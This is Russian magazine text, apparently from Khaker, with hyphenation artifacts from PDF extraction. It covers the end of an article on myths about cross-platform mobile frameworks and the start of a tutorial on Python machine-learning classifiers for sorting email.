держи вать из рас чета «одна коман да на плат форму». При этом воз можнос ти
и внеш ний вид при ложе ний на раз ных плат формах прак тичес ки всег да иден‐ 
тичны на 90%. Срав ни ради инте реса реали зацию любимых прог рамм для iOS
и Android.

Вто рой  важ ный  момент —  наличие  необ ходимых  зна ний  и  опы та  внут ри
коман ды: если их нет, то пот ребу ется вре мя на обу чение.

Для того что бы решить обе эти проб лемы, на рын ке уже дав но появи лись
инс тру мен ты кросс‐плат формен ной раз работ ки (не толь ко mobile), пред лага‐ 
ющие:

мак симизи ровать общую базу кода на еди ном язы ке прог рамми рова ния,
что бы про дукт было про ще раз рабаты вать и под держи вать;

•

ис поль зовать  сущес тву ющие  ком петен ции  и  спе циалис тов  для  реали‐ 
зации при ложе ний на новых плат формах.

•

Так как язы ков прог рамми рова ния (и сред) сей час нап лодилось очень мно го
(и  спе циалис тов,  вла деющих  эти ми  язы ками),  то  и  инс тру мен тов
для кросс‐плат формен ной раз работ ки сущес тву ет изрядное количес тво. Мы
в  качес тве  при мера  оста новим ся  на  популяр ных  в  наших  кра ях 

.
PhoneGap,

Xamarin, React Native и Qt

Те перь мож но погово рить и о мифах.

МИФ 1. МАГИЯ
Са мый  час тый  миф,  будора жащий  умы  начина ющих  девело перов,  свя зан
с  верой  в  свер халго рит мы  (и  сверх прог раммис тов,  их  соз давших),  которые
вол шебным  обра зом  прев раща ют  кросс‐плат формен ные  при ложе ния
в  натив ные.  Что‐то  в  духе  «пре обра зова ния  кода  JavaScript  в  Swift  и  даль‐ 
нейшая  ком пиляция  уже  Swift‐при ложе ния».  Этот  миф  подог рева ют  и  сами
раз работ чики  кросс‐плат формен ных  инс тру мен тов,  обе щая  на  выходе  соз‐ 
дание «натив ных при ложе ний». И не то что бы кто‐то здесь лукавил, но богатая
фан тазия и непони мание базовых механиз мов иног да наводят раз работ чиков
на мыс ли о шаман ских при емах.

Глав ный  прин цип,  лежащий  в  осно ве  кросс‐плат формен ных  решений, —
раз деление кода на две час ти:

, живущую в вир туаль ном окру жении и име ющую
огра ничен ный  дос туп  к  воз можнос тям  целевой  плат формы  через  спе‐ 
циаль ный мост;

• кросс‑плат формен ную

,  которая обес печива ет  ини циали зацию при ложе ния,  управле‐ 
ние жиз ненным цик лом клю чевых объ ектов и име ет пол ный дос туп к сис‐ 
темным API.

• на тив ную

Для  того  что бы свя зывать меж ду  собой мир  «натив ный» и мир  «кросс‐плат‐ 
формен ный», необ ходимо исполь зовать спе циаль ный  , имен‐ 
но он и опре деля ет воз можнос ти и огра ниче ния кросс‐плат формен ных фрей‐ 
мвор ков.

мост (bridge)

При исполь зовании bridge про изво дитель ность всег да сни жает ся за счет
пре обра зова ния дан ных меж ду  «мирами»,  а  так же  кон верта ции  вызовов API
и биб лиотек.

Итак,  все  кросс‐плат формен ные  при ложе ния  обя заны  иметь  натив ную
часть, ина че опе раци онная сис тема прос то не смо жет их запус тить. Поэто му
давай  рас смот рим  под робнее,  какие  сис темные  API  и  механиз мы  пре дос‐ 
тавля ются самими iOS, Android и Windows. Перехо дим к сле дующе му мифу.

МИФ 2. НЕНАТИВНО!
Итак,  у  нас  есть  кросс‐плат формен ная  часть  при ложе ния,  живущая  в  вир‐ 
туаль ном окру жении и вза имо дей ству ющая с опе раци онной сис темой через
инфраструк туру фрей мвор ка и мост.

Все опе раци онные сис темы: iOS, Android и Windows UWP — пре дос тавля‐ 
ют дос туп к сле дующим под систе мам (наборы сис темных API):

WebView  (встро енный  в  при ложе ние  веб‐бра узер)  исполь зует ся  в  гиб‐ 
ридных  при ложе ниях  на  базе  PhoneGap  и  фак тичес ки  выс тупа ет  сре дой
выпол нения локаль ного веб‐сай та;

•

JavaScript‐движ ки  исполь зуют ся  в  React  Native  и  ана логах  для  быс тро го
выпол нения JS‐кода и обме на дан ными меж ду Native и JS;

•

OpenGL ES  (или DirectX)  исполь зует ся  в  игро вых  движ ках  и  при ложе ниях
на Qt/QML или ана логах для отри сов ки интерфей са;

•

UI‐под систе ма  отве чает  за  натив ный  поль зователь ский  интерфейс  при‐ 
ложе ния, что акту аль но для React Native и Xamarin.

•

Кросс‐плат формен ные при ложе ния име ют натив ную часть и такой же пол ный
дос туп  к  сис темным  API,  что  и  «натив ные»  при ложе ния.  Раз ница  в  том,  что
вызов сис темно го метода идет через мост и инфраструк туру фрей мвор ка:

  —  при ложе ние  живет  в  сво ем  веб‐бра узе ре  по  ана логии
с  однос тра нич ным  веб‐сай том.  Нет  дос тупа  к  натив ным  кон тро лам  (кноп ки,
спис ки и про чее), все осно вано на HTML/CSS/JavaScript. С дру гой сто роны,
веб‐раз работ чик почувс тву ет себя как рыба в воде.

WebView

 ста ли популяр ны отно ситель но недав но, так как в iOS
подоб ный механизм был добав лен толь ко в вер сии 7.0. Из осо бен ностей сто‐ 
ит учи тывать необ ходимость сери али зации в JSON слож ных струк тур дан ных,
переда ваемых  меж ду  сре дами  JavaScript  и  Native.  Если  корот ко  опи сать
подоб ный  класс  решений,  то  в  JavaScript‐сре де  выпол няет ся  JS‐код,
управля ющий натив ным при ложе нием.

JavaScript-движ ки

 явля ются под систе мами низ кого уров ня и исполь‐ 
зуют ся  для  отри сов ки  поль зователь ско го  интерфей са  в  играх  и,  нап ример,
Qt/QML.  То  есть  при  исполь зовании  OpenGL/DirectX  раз работ чики  сами
рису ют кон тро лы и ани мации, которые могут быть лишь похожи на натив ные.
С дру гой сто роны, это под систе ма низ кого уров ня с очень высокой про изво‐ 
дитель ностью, поэто му она исполь зует ся и в кросс‐плат формен ных игро вых
движ ках.

OpenGL ES и DirectX

Все кросс‐плат формен ные при ложе ния име ют натив ную часть, а сле дова‐ 
тель но, потен циаль но такой же пол ный дос туп к сис темным API, что и «натив‐ 
ные». Так же кросс‐плат формен ные при ложе ния собира ются и упа ковы вают ся
«натив ными»  инс тру мен тами  в  «натив ные»  уста новоч ные  пакеты.  Клю чевой
воп рос  —  как  орга низо вано  вза имо дей ствие  меж ду  кросс‐плат формен ной
частью и натив ной. Нап ример, внут ри WebView или с помощью Open GL ES /
DirectX  нет  воз можнос ти  соз дать  поль зователь ский  интерфейс  с  пол ностью
натив ным  look’n’feel,  но  при  этом  есть  пол ный  дос туп  к  GPS,  Push‐уве дом‐ 
лени ям и дру гой фун кци ональ нос ти. А  код на JavaScript или C# впол не сво‐ 
бод но  может  управлять  натив ным  при ложе нием  и  его  поведе нием,  обес‐ 
печивая пол ностью натив ный look’n’feel.

Ес ли  резюми ровать —  то  да,  «ненатив но»  с  точ ки  зре ния  исполь зуемых
инс тру мен тов раз работ ки  (не от Apple, Google). Но при ложе ние может быть
пол ностью натив ным с точ ки зре ния дос тупа к сис темным API и обес печивать
пол ностью натив ный внеш ний вид и поведе ние. А мы дви жем ся к сле дующе му
мифу.

МИФ 3. КОСТЫЛЬ НА КОСТЫЛЕ
Здесь сто ит понимать, что натив ные API по умол чанию кос тылями не счи тают‐ 
ся (хотя и здесь есть раз ные мне ния), поэто му все негодо вание нап равле но
на  кросс‐плат формен ную  часть.  Оче вид но,  что  исполня ющую  сре ду  (нап‐ 
ример, WebView,  JavaScript‐дви жок или Mono)  кос тылем  тоже наз вать  слож‐ 
но — взрос лые зре лые решения с дли тель ной исто рией.

По хоже,  что  кос тылем  называ ют  то,  как  кросс‐плат формен ная  часть
интегри рует ся  с  натив ной.  Что бы  луч ше  понять,  как  работа ют  раз личные
фрей мвор ки, мы на при мере PhoneGap, Xamarin, Qt и React Native рас смот‐ 
рим те механиз мы опе раци онных сис тем, которые исполь зуют ся для свя зыва‐ 
ния кросс‐плат формен ной и «натив ной» час тей.

Нач нем мы с PhoneGap. Ниже пред став лена вер хне уров невая архи тек тура
при ложе ния на базе это го фрей мвор ка.

При ложе ние  на  PhoneGap  —  это  по  фак ту  натив ное  при ложе ние,  которое
в  качес тве  единс твен ного  UI‐кон тро ла  отоб ража ет  WebView.  Имен но  через
него  и  идет  вза имо дей ствие  с  натив ной  частью.  Все  стан дар тные WebView
в  iOS,  Android  и  Windows  UWP  под держи вают  воз можность  добавить  свои
натив ные  обра бот чики  для  JS‐свой ств  и  методов.  При  этом  JS‐код  живет
в сво ей изо лиро ван ной сре де и ничего не зна ет о натив ной час ти — прос то
дер гает нуж ные JS‐методы или меня ет нуж ные JS‐свой ства. Все внут ри стан‐ 
дар тно го вебов ско го DOM, в который прос то добав ляют ся новые эле мен ты,
свя зан ные с натив ной реали заци ей.

Да лее рас смот рим React Native.

При соз дании при ложе ний на React Native раз работ чику прак тичес ки всег да
будет необ ходимо реали зовы вать натив ную часть на Objective‐C, Java или C#,
а само управле ние натив ным при ложе нием будет идти из JavaScript. По фак ту
JavaScript‐дви жок — это эле мент WebView, который дос тупен отдель но. Вза‐ 
имо дей ствие идет через такой же JS‐мост, как и в слу чае с PhoneGap. Одна ко
в  React  Native  JS‐код  управля ет  не  вебов ским  DOM‐деревом,  а  натив ным
при ложе нием.

Не обхо димо  учи тывать,  что  из‐за  огра ниче ний  iOS  (нет  воз можнос ти
реали зовать  JIT)  код  JavaScript  на  лету  интер пре тиру ется,  а  не  ком пилиру‐ 
ется. В целом это не осо бо ска зыва ется на про изво дитель нос ти в реаль ных
при ложе ниях, но пом нить об этом сто ит.

Те перь  рас смот рим  клас сичес кий  Xamarin.iOS  и  Xamarin.Android,  так
как  Xamarin.Forms  (под держи вающий  Windows  UWP)  —  это  надс трой ка
над ними.

Xamarin  исполь зует  биб лиоте ку  Mono  для  вза имо дей ствия  с  целевой  опе‐ 
раци онной сис темой, которая поз воля ет вызывать натив ный код с помощью
механиз ма  .  Он  же  задей ству ется  и  для  обще ния  с  натив ными  API
в  iOS/Android.  То  есть  для  всех  пуб личных  натив ных API‐методов  соз дают ся
обер тки  на  C#,  которые,  в  свою  оче редь,  вызыва ют  сис темные  API.  Таким
обра зом, из Xamarin‐при ложе ния мож но обра щать ся ко всем сис темным API.

P/Invoke

И в завер шение рас смот рим Qt, так как о нем появ ляет ся мно го воп росов
от опыт ных раз работ чиков.

Qt  —  «вещь  в  себе»,  в  этом  есть  и  плю сы,  и  огра ниче ния.  Биб лиоте ки  Qt
прос то  под клю чают ся  к  сис темным  API  на  C++,  которые  есть  во  всех  опе‐ 
раци онных сис темах. Для отри сов ки поль зователь ско го интерфей са исполь‐ 
зуют ся механиз мы низ кого уров ня, но свой гра фичес кий дви жок, под держи‐ 
вающий  сти лиза ции  «под  натив ку».  При  этом  на  Android  при ходит ся  обра‐ 
щать ся  к  Java API  через  спе циаль ный мост  (JNI  bridge),  а  для Windows UWP
исполь зовать  кон вертер  вызовов  Open  GL  ES  в  DirectX,  так  как  Open  GL
недос тупен для UWP.

Под ведем итог: все кросс‐плат формен ные фрей мвор ки исполь зуют стан‐ 
дар тные  натив ные  воз можнос ти  опе раци онных  сис тем,  явля ются  зре лыми,
соз дают ся опыт ными коман дами и сооб щес твом open source при под дер жке
гиган тов IT‐индус трии. И наконец, приш ло вре мя для самого «силь ного» аргу‐ 
мен та.

МИФ 4. МЕДЛЕННО
Важ ный козырь, которым любят поль зовать ся в спо рах о кросс‐плат формен‐ 
ных фрей мвор ках, — низ кая про изво дитель ность. Опять же, смот ря что с чем
срав нивать и в каких попуга ях счи тать.

На пом ним,  что осо бен ность  кросс‐плат формен ных при ложе ний зак люча‐ 
ется в парал лель ном сущес тво вании двух миров, свя зан ных мос том:

PhoneGap: HTML/JS и Native Java / Objective‐C / C#;•
React Native: JS и Native Java / Objective‐C / C#;•
Xamarin: Mono и Native Java / Objective‐C;•
Qt: С++ и Native Java / Objective‐C.•

Та ким обра зом, при срав нении про изво дитель нос ти надо учи тывать ско рость
работы:

кросс‐плат формен ной час ти;•
на тив ной час ти;•
мос та.•

Ес ли  наб рать  в  поис ковике,  нап ример,  react  native  vs  swift  performance,  то
мож но пос мотреть мно жес тво раз личных тес тов, и во мно гих из них отме чает‐ 
ся, что про изво дитель ность рез ко пада ет при активном исполь зовании мос‐ 
та,  вклю чая  активное  манипу лиро вание  UI  из  кросс‐плат формен ного  кода.
Для  Xamarin  ситу ация  выг лядит  таким  же  обра зом —  кросс‐плат формен ная
часть  очень  быс тра  и  сопос тавима  с  натив ной  в  обра бот ке  дан ных,  одна ко
при  исполь зовании  мос та  может  падать  про изво дитель ность.  Qt  вооб ще
работа ет на уров не С++, который быстр сам по себе. Если же рас смат ривать
решения  на  базе  PhoneGap,  то  здесь  про изво дитель ность  будет  силь но
зависеть  от WebView,  но  все  же  не  сле дует  активно  менять  UI  в  JavaScript‐
коде или про водить науч ные вычис ления.

Мед ленно?  Да,  воз можны  падения  про изво дитель нос ти  при  неуме лом
вза имо дей ствии с опе раци онной сис темой через мост. Одна ко сами по себе
кросс‐плат формен ные миры такие же быс трые, как и натив ные.

ЗАКЛЮЧЕНИЕ
Се год ня  мы  рас смот рели  устрой ство  популяр ных  кросс‐плат формен ных
мобиль ных фрей мвор ков  и  разоб рали основные мифы,  которы ми они окру‐ 
жены. Оста вай ся на свя зи!
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КОДИНГ

Се год ня  толь ко  ленивый  не  говорит  (пишет,  дума ет)
про  машин ное  обу чение,  ней росеточ ки  и  искусс твен ный
интеллект в целом. Я пом ню, как все го лишь в прош лом году
ML срав нили с под рос тко вым сек сом — все хотят, но ник то
не  занима ется.  Сегод ня  все  оза боче ны  тем,  что  ИИ  нас
оста вит  без  работы.  Хотя,  судя  по 

,  мож но  успо коить ся,  так  как  к  2020  году  бла‐ 
года ря ИИ  появит ся  боль ше  рабочих  мест,  чем  лик видиру‐ 
ется. Так что, дорогой друг, учи ML, и будет тебе счастье.

пос ледним  иссле дова‐ 
ниям Gartner

В этой  статье мы  хотим  показать ML  на  прак тичес ком  кей се — на  при мере
про екта, который мы делали для    (сер вис онлайн‐под писки).
Уве рен, опи сан ное в этом при мере может при годить ся мно гим. Почему мно‐ 
гим? Да потому, что проб лема, которую мы решали, называ лась «сор тиров ка
и пересыл ка по адре су огромно го количес тва элек трон ных писем». Проб лема
гигант ской  перепис ки,  которую  менед жерам  при ходит ся  сор тировать
и  пересы лать  в  соот ветс тву ющие  отде лы,  прак тичес ки  уни вер саль ная,
и проб лему эту надо решать сов ремен ными спо соба ми.

Ак тион‑пресс

Итак,  пос ле  кон суль таций  с  заказ чиком  мы  решили  раз работать  модель
машин ного обу чения для мак сималь но воз можной авто мати зации сор тиров‐ 
ки писем.

INFO

Из началь но  статья  называ лась 

.  Думаю,  тебе  сто ит
узнать об этом сей час, потому что даль ше лег ко
не будет. :)

Опе раци она‐ 
лиза ция  ML‐моделей  Python  с  исполь‐ 
зовани ем Azure Functions

МОДЕЛЬ МАШИННОГО ОБУЧЕНИЯ
Ду маю, тебя не уди вит, что в качес тве язы ка для это го решения мы выб рали
Python. Так сло жилось исто ричес ки: он высоко уров невый, а самое важ ное —
в нем есть мно жес тво полез ных биб лиотек для машин ного обу чения. Про них
я рас ска жу ниже.

Чес тно  говоря,  про  ML  в  дан ном  слу чае  рас ска зывать  осо бо  нечего.
Набор  прос тых  бинар ных  клас сифика торов  на  осно ве  логис тичес кой  рег‐ 
рессии показал мно гообе щающие резуль таты и поз волил нес коль ко абс тра‐ 
гиро вать ся от самой модели, сос редото чив шись на под готов ке дан ных и пос‐ 
тро ении  вло жен ного  тек ста.  Но  сам  репози торий  уже  исполь зовал ся
как осно ва для  трех дру гих незави симых про ектов: он  хорошо показал себя
в  нес коль ких  клас сифика цион ных  экспе римен тах  и  зареко мен довал  себя
как  надеж ный  фун дамент  для  быс тро го  перехо да  к  раз работ ке.  Поэто му
задача дан ного раз дела зак люча ется не в демонс тра ции «ноу‐хау»; он нужен
как осно ва для сле дующе го за ним раз дела, пос вящен ного опе раци она лиза‐ 
ции.

Здесь  я  поделюсь  сво им  опы том  и  дам  некото рые  рекомен дации  тебе,
что бы ты мог сам поэк спе римен тировать с этим кодом или пов торно исполь‐ 
зовать его.

WWW

Что бы сох ранить  кон фиден циаль ность, исходный
набор  дан ных  был  заменен  ана логич ным  обще‐ 
дос тупным  набором  для  клас сифика ции 

. См. файл  .
от зывов

о McDonalds data/data.csv

Са ми дан ные были пред став лены в фай лах CSV с тре мя стол бца ми:  , 
и  . И пос коль ку в NLTK не пре дус мотре на встро енная под дер жка чте ния
дан ных  из  фай лов  в  фор мате  CSV,  мы  написа ли  собс твен ный  модуль,  поз‐ 
воля ющий читать фай лы из пап ки в виде одно го dataframe pandas или извле‐ 
кать текст в виде спис ков абза цев, пред ложений, слов и так далее в фор мате
NLTK.

Id Text
Class

А вот  код для ини циали зации это го самопис ного модуля  чте ния 
  дан ными  кли ента.  Реали зацию  клас са  мож но  уви деть  в  фай ле
.  Нас тоятель но  рекомен дую  тебе  озна комить ся  с  содер жимым

фай ла  .

CsvCor‐
pusReader
lib\corpus.py

Experiments\TrainingExperiment.py

#%% create corpus
corpus = CsvCorpusReader(".\data", ["data.csv"],
                        encoding="utf8",
                        default_text_selector=lambda row: row["Text"
])

По  окон чании  ини циали зации  нуж но  извлечь  сло ва  из  докумен тов  и  нор‐ 
мализо вать  их.  В  нашем  слу чае  пос ле  ряда  экспе римен тов  мы  решили
исполь зовать набор вспо мога тель ных фун кций в качес тве обер тки для все го
про цес са,  что бы  скрыть  обра щения  к  биб лиоте кам  NLTK  и  Gensim  внут ри
прос того в исполь зовании уров ня кон фигура ции.

Ни же мы даем экс трак тору коман ду вер нуть докумен ты в виде спис ка слов,
отбра сывая  струк туру  абза цев или  пред ложений  (см. 

).  Затем  перево дим  каж дое  сло во  в  ниж ний  регистр,  отбра сыва ем
любые  стоп‐сло ва  и  выделя ем  осно вы  слов. На  зак лючитель ном  эта пе  уда‐ 
ляем  низ кочас тотные  сло ва,  пред полагая,  что  это  прос то  опе чат ки  или  что
они не ока зыва ют сущес твен ного вли яния на клас сифика цию.

keep_levels=Levels.
Nothing

Об рати вни мание, что при веден ный ниже код ори енти рован исклю читель‐ 
но на  выбор ки дан ных на англий ском язы ке,  в  то  вре мя  как  в ори гиналь ной
вер сии  была  реали зова на  рус ская  лем матиза ция  с  исполь зовани ем  PyMor‐
phy2, что поз волило добить ся более точ ной клас сифика ции для рус ско го язы‐ 
ка.

#%% tokenize the text
stop_words = ['would', 'like', 'mcdonald']
text_processor = generate_processor(keep_alpha_only=True,
                                   to_lower=True,
                                   stopwords_langs=['english'],
                                   add_stopwords=stop_words,
                                   stemmer_langs=['english'])
docs_factory = lambda: corpus.words(keep_levels=Levels.Nothing, **
text_processor)
word_frequencies = Counter((word for doc in docs_factory() for word 
in doc))
min_word_freq = 3
docs = [
   [
       word
       for word in doc if word_frequencies[word] >= min_word_freq
    ] for doc in docs_factory()
]

Как  толь ко  мы  токени зиру ем  наш  кор пус,  сле дующим шагом  будет  пос тро‐ 
ение вло жения. Код ниже нужен, что бы пре обра зовать каж дый документ в ряд
бес смыс ленных цифр для исполь зования в клас сифика торе.

Мы про тес тирова ли нес коль ко раз ных под ходов (вклю чая BoW, TF‐IDF, LSI,
RP  и  w2v),  но  клас сичес кая  модель    с  500  извле чен ными  топика ми  дала
наилуч шие резуль таты (  = 0,98) в нашем слу чае. Для начала код про веря‐ 
ет  наличие  сущес тву ющей  сери али зован ной  модели  в  общей  пап ке.  Если
модели  нет,  код  обу чает  новую  модель  с  исполь зовани ем  пред варитель но
под готов ленных  дан ных  и  сох раня ет  резуль тат  на  диск.  Если  модель  обна‐ 
руже на, она прос то заг ружа ется в память. Затем код пре обра зовы вает набор
дан ных и пов торя ет поток со сле дующим вло жени ем.

LSI
AUC

По  эффектив ности  модель  LSI  прев зошла  гораз до  более  мощ ный  алго‐ 
ритм век ториза ции на базе word2vec и дру гие более слож ные под ходы, и это
может быть обус ловле но нес коль кими воз можны ми при чина ми.

Са мая оче вид ная из них свя зана с тем, что пись ма тех типов, которые мы
иска ли, име ли пред ска зуемые и пов торя ющиеся шаб лоны слов, как в слу чае
авто отве тов (нап ример, 

). Поэто му для их обра бот ки впол не дос таточ но
чего‐то  прос того,  нап ример  TF‐IDF.  LSI  под держи вает  общую  иде оло гию,
и эту модель мож но рас смат ривать как спо соб добав ления синони мов, под‐ 
ходящих для обра бот ки. В то же вре мя алго ритм word2vec, про шед ший обу‐ 
чение  на  Википе дии,  веро ятно,  генери рует  ненуж ный  шум  из‐за  слож ных
синони мич ных  струк тур,  тем  самым  «раз мывая»  шаб лоны  в  сооб щени ях  и,
сле дова тель но, сни жая точ ность клас сифика ции.

«Спа сибо за ваше пись мо... Меня не будет в офи се
до... Если воп рос сроч ный...»

Этот под ход показал, что ста рые и доволь но прос тые методы по‐преж нему
сто ит про бовать, даже в эпо ху word2vec и рекур рен тных ней рон ных сетей.

#%% convert to Bag of Words representation
dictionary_path = os.path.join(preprocessing_path, 'dictionary.bin')
if os.path.exists(dictionary_path):
   dictionary = corpora.Dictionary.load(dictionary_path)
else:
   dictionary = corpora.Dictionary(docs)
   dictionary.save(dictionary_path)
docs_bow = [dictionary.doc2bow(doc) for doc in docs]
nested_partial_print(docs_bow)
#%% convert to tf‐idf representation
tfidf_path = os.path.join(preprocessing_path, 'tfidf.bin')
if os.path.exists(tfidf_path):
   model_tfidf = models.TfidfModel.load(tfidf_path)
else:
   model_tfidf = models.TfidfModel(docs_bow)
   model_tfidf.save(tfidf_path)
docs_tfidf = nested_to_list(model_tfidf[docs_bow])
#%% train and convert to LSI representation
lsi_path = os.path.join(preprocessing_path, 'lsi.bin')
lsi_num_topics = 500
if os.path.exists(lsi_path):
   model_lsi = models.LsiModel.load(lsi_path)
else:
   model_lsi = models.LsiModel(docs_tfidf, id2word=dictionary, 
num_topics=lsi_num_topics)
   model_lsi.save(lsi_path)
docs_lsi = model_lsi[docs_tfidf]

Как всег да, от обя затель ного рутин ного кода изба вить ся невоз можно. Даль‐ 
ше он нам при годит ся при под готов ке дан ных для машин ного обу чения с при‐ 
мене нием scikit‐learn.

Как я уже говорил выше, мы исполь зуем нес коль ко бинар ных вмес то одно‐ 
го  мно гок лассо вого  клас сифика тора.  Имен но  поэто му  соз даем  бинар ную
цель  для  одно го  из  клас сов  (в  этом  образце  это  SlowService).  Ты  можешь
изме нять  зна чение  перемен ной    и  выпол нять  при веден ный
ниже  код  пов торно,  что бы  обу чить  каж дый  одноклас совый  клас сифика тор
в  отдель нос ти.  Скрипт  оцен ки  сде лан  так,  что бы  работать  с  нес коль кими
моделя ми,  и  авто мати чес ки  заг ружа ет  их  из  выделен ной  пап ки.  Наконец,
фор миру ется  обу чающий  и  тес товый  набор  дан ных,  стро ки  с  про пус ками
при этом пол ностью исклю чают ся.

class_to_find

#%% create target
class_to_find = "SlowService"
df["Target"] = df.apply(lambda row: 1 if class_to_find in row["Class"
] else 0, axis=1)
df.groupby(by=["Target"]).count()
#%% create features and targets dataset
features = pd.DataFrame(docs_features, columns=["F" + str(i) for i in
range(lsi_num_topics)])

notnul_idx = features.notnull().all(axis=1)
features = features[notnul_idx]
df_notnull = df[notnul_idx]
target = df_notnull[["Target"]]
plot_classes_scatter(features.values, target["Target"].values)
#%% split dataset to train and test
train_idx, test_idx = train_test_split(df_notnull.index.values, 
test_size=0.3, random_state=56)
df_train = df_notnull.loc[train_idx]
features_train = features.loc[train_idx]
target_train = target.loc[train_idx]
df_test = df_notnull.loc[test_idx]
features_test = features.loc[test_idx]
target_test = target.loc[test_idx]

Те перь прис тупа ем к обу чению клас сифика тора  (в нашем слу чае это логис‐ 
тичес кая  рег рессия),  потом  сох раним  модель  в  том  же  общем  катало ге,
который исполь зовали ранее для встра ива ния пре обра зова ний.

Как ты мог заметить, в при веден ном ниже коде мы при дер жива емся спе‐ 
циаль ного  фор мата  име ни  модели:  .  Это  необ‐ 
ходимо для опре деле ния име ни клас са и соот ветс тву юще го порого вого зна‐ 
чения в ходе даль нейшей оцен ки.

class_{0}_thresh_{1}.bin

И пос леднее  замеча ние,  преж де  чем мы про дол жим. В  качес тве инс тру‐ 
мен та раз работ ки я выб рал Visual Studio Code. Это прос той в исполь зовании
лег ковес ный  редак тор,  который  даже  пре дос тавля ет  базовые  воз можнос ти
IntelliSense (авто завер шение кода и под сказ ки) для такого динамич ного язы‐ 
ка,  как  Python.  В  то  же  вре мя  рас ширения    и    в  сочета нии
с  ядром  IPython  поз воля ют  выпол нять  код  поячееч но  и  визу али зиро вать
резуль тат без пов торно го запус ка скрип та, что всег да удоб но для задач ML.
Да,  это  похоже  на  стан дар тный  Jupyter,  но  с  IntelliSense  и  ори ента цией
на  код/git.  Я  рекомен дую  тебе  поп робовать,  хотя  бы  пока  ты  работа ешь
с  образцом,  пос коль ку  для  про дук тивной  раз работ ки  тут  при меня ется  мно‐ 
жес тво дру гих воз можнос тей, свя зан ных с VS Code.

Jupyter Python

Что каса ется кода ниже, стро ка с   — это при‐ 
меры  исполь зования  рас ширения  .  Ты  можешь  нажать  спе циаль ную
кноп ку Run  cell  (Выпол нить  ячей ку)  над  ячей кой,  что бы  уви деть  зна чения  TP
и FP и срав нить их с порого вым зна чени ем Threshold на панели резуль татов
спра ва. Мы активно исполь зовали эту диаг рамму во вре мя работы, пос коль ку
из‐за  выражен ного  дис балан са  в  наборе  дан ных  опти маль ный  уро вень
отсечки  всег да  был  око ло  0,04  вмес то  при выч ных  0,5.  Если  ты  не  можешь
исполь зовать  VS  Code  для  тес тирова ния,  мож но  прос то  запус тить  скрипт
с помощью стан дар тных инс тру мен тов Python и пос ле прос мотра резуль татов
в отдель ном окне внес ти изме нения непос редс твен но в имя фай ла.

plot ROC threshold values
Jupyter

#%% train logistic classifier
classifier = LogisticRegression()
classifier.fit(features_train, target_train)
#%% score on test
scores_test = classifier.predict_proba(features_test)[:, 1]
#%% plot ROC threshold values
pd.DataFrame(nested_to_list(zip(tsh, tp_test, fp_test, fp_test‐
tp_test)), columns=['Threshold', 'True Positive Rate', 'False 
Positive Rate', 'Difference']).plot(x='Threshold')
plt.xlim(0, 1)
plt.ylim([0,1])
plt.grid()
plt.show()
#%% save model
threshold = 0.25
model_filename = 'class_{0}_thresh_{1}.bin'.format(class_to_find, 
threshold)
joblib.dump(classifier, os.path.join(model_path, model_filename))

Те перь  нас тало  вре мя  скрип та  оцен ки:  .  Нового  в  нем  очень
мало,  боль шую  часть  кода  взя ли  из  пер воначаль ного  обу чающе го  экспе‐ 
римен та,  рас смот ренно го  ранее.  Озна комь ся  с  содер жимым  это го  фай ла
в  .

Score\run.py

ре пози тории GitHub
На вход пода ется файл CSV для оцен ки, на выходе получа ем два раз ных

фай ла, один содер жит оце нен ные клас сы, дру гой — иден тифика торы строк,
оце нить которые не пред став ляет ся воз можным. Я объ ясню при чину исполь‐ 
зования фай ла поз же, ког да будем говорить об опе раци она лиза ции.

В  кон це  это го  раз дела  хочу  пояс нить,  почему  мы  исполь зуем  нес коль ко
бинар ных  вмес то  одно го  мно гок лассо вого  клас сифика тора.  Во‐пер вых,  так
было  гораз до  про ще  начать,  что бы  работать  и  опти мизи ровать  про изво‐ 
дитель ность  на  клас сах  по  отдель нос ти.  Такой  под ход  так же  поз воля ет
исполь зовать  раз личные матема тичес кие модели  для  раз ных  клас сов,  как  в
слу чае  с  авто отве тами,  которые  час то  име ют  доволь но  жес ткую  струк туру,
и их мож но обра баты вать с помощью прос того bag of words. В то же вре мя,
с точ ки зре ния ИТ‐спе циалис та, что‐то наподо бие кода ниже может упростить
раз верты вание,  поз волив  под клю чать  новые  или  менять  сущес тву ющие
модели, не зат рагивая дру гие.

model_paths = [path for path in os.listdir(os.path.join('..', 'model'
)) if path.startswith('class_') ]
for model_path in model_paths:
   model = joblib.load(os.path.join('..', 'model', model_path))
   res = model.predict_proba(features_notnull)[:, 1]
   class_name = model_path.split('_')[1]
   threshold = float(model_path.rsplit('.', 1)[0].split('_')[‐1])
   result.loc[:, "class_" + class_name] = res > threshold
   result.loc[:, "class_" + class_name + "_score"] = res

Ты даже можешь опро бовать код пря мо сей час, исполь зуя собс твен ные дан‐ 
ные со сво его локаль ного ПК, и сов сем без опе раци она лиза ции:

кло нируй  , сле дуй инс трук циям по раз верты ванию локаль ной
сре ды Anaconda и уста нови Visual Studio Code с нуж ным рас ширени ем;

• ре пози торий

по мес ти  свои  дан ные  в  под держи ваемом  фор мате  в  файл 
  и  открой файл  ,  что бы обу‐ 

чить модель на любом клас се, который ты хочешь оце нить;

• data\data.

csv Experiment\TrainingExperiment.py

не забудь пред варитель но уда лить всю пап ку  , пос коль ку в про тив‐ 
ном  слу чае  код  попыта ется  пов торно  исполь зовать  пре обра зова ния
и модели из образца;

• models

пе рей ди  к  ,  замени  дан ные  в  фай ле 
  собс твен ными  и  пос троч но  выпол ни  скрипт  с  помощью  рас‐ 

ширения Jupyter.

• Score\run.py Score\debug\in­

put.csv

В VS Code ты даже можешь открыть раз дел отладки  , выб‐ 
рать  Score  (Python)  в  качес тве  кон фигура ции  и  нажать  Start  Debugging
(Выпол нить  отладку),  что бы  про вес ти  пос троч ный  ана лиз  кода  в  редак торе.
Ког да  алго рит мы  завер шат  свою  работу,  резуль таты  мож но  будет  най ти
в фай лах   и   в пап ке  .

Debug (Ctrl + Alt + D)

input.scores.csv input.unscorable.csv Score\debug

INFO

Ре али зовал инте рес ный про ект? Дума ешь, что он
сто ит  того,  что бы  поделить ся  им  с  читате лями?

, кру тую статью сде лаем!Пи ши нам в Хакер

Продолжение статьи →



PYTHON’ОМ ПО МАШИНЛЕРНИНГУ
РАЗГРЕБАЕМ ТОННЫ

ВХОДЯЩЕЙ КОРРЕСПОНДЕНЦИИ
БЕЗ УЧАСТИЯ ЧЕЛОВЕКА

КОДИНГ  НАЧАЛО СТАТЬИ←

ОПЕРАЦИОНАЛИЗАЦИЯ
Под дер жка Python в Azure Functions до сих пор находит ся в ран нем preview,
поэто му исполь зование его для mission critical задач нежела тель но. Но час то
